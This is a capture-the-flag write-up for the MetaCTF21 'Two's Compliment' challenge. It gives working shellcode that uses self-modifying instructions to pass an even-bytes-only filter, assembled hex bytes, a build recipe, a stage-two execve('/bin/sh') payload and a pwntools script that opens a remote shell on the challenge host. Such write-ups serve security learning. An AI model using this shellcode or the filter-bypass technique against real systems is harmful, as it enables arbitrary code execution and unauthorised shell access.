MetaCTF21: Two's Compliment
Seven ate six... After seven ate six, it thought to itself, "After I ate nine my mouth felt numb, but this time it's even number".
nc host1.metaproblems.com 5480
We're given a binary that executes shellcode after making sure that every byte is even. The challenge is simple, but execution is tedious... I chose to go with a staged approach, since that's less shellcode we need to "make even".
Stage One:
I began with a simple stage payload like this:
.global _start
_start:
.intel_syntax noprefix
mov rdi, 0
lea rsi, [rip+9]
mov rdx, 1000
syscall
Then, for each byte that was not even, I would add one to it, and add another instruction that decrements it (since it's a rwx
page at the time of execution). After an hour, we get this abomination:
.global _start
_start:
.intel_syntax noprefix
dec BYTE PTR [rdx+0x8]
dec BYTE PTR [rdx+0xc]
nop
.byte 0x48
.byte 0x8a
.byte 0xd6
mov edx, 0xcc
dec BYTE PTR [rsi+0x2a]
dec BYTE PTR [rsi+0x2e]
inc BYTE PTR [rsi+0x1a]
nop
.byte 0x48
.byte 0xfe
.byte 0xc6
inc BYTE PTR [rsi+0x2a]
dec BYTE PTR [rsi+0x2e]
dec BYTE PTR [rsi+0x26]
nop
.byte 0x48
.byte 0x32
.byte 0xc0
.byte 0x48
.byte 0x32
.byte 0xfe
nop
nop
.byte 0x10
.byte 0x06
Which when assembled is:
00000000: fe4a 08fe 4a0c 9048 8ad6 bacc 0000 00fe .J..J..H........
00000010: 4e2a fe4e 2efe 461a 9048 fec6 fe46 2afe N*.N..F..H...F*.
00000020: 4e2e fe4e 2690 4832 c048 32fe 9090 1006 N..N&.H2.H2.....
How do you assemble this?
If your file is named shellcode.s
, I use gcc
(à la Zardus technique):
gcc -nostdlib -static shellcode.s -o shellcode-elf
objcopy --dump-section .text=shellcode-raw shellcode-elf
Stage Two
My stage two payload was re-used nop sled and call to /bin/sh
.
.global _start
_start:
.intel_syntax noprefix
nop
nop
nop
nop
; [ more nops ]
nop
mov rax, 59
lea rdi, [rip+binsh]
mov rsi, 0
mov rdx, 0
syscall
binsh:
.string "/bin/sh"
Shell
Finally, we run the two with a script:
from pwn import *
from time import sleep
stageone = ""
with open("./stage1", "rb") as f:
stageone = f.read()
shellcode = ""
with open("./stage2", "rb") as f:
shellcode = f.read()
p = remote("host1.metaproblems.com", 5480)
p.sendline(stageone)
sleep(1)
p.sendline(shellcode)
p.interactive()
Flag: MetaCTF{eVEn_evEN_8y7e5_c4N_re4cH_0Dd_Re9157eRs}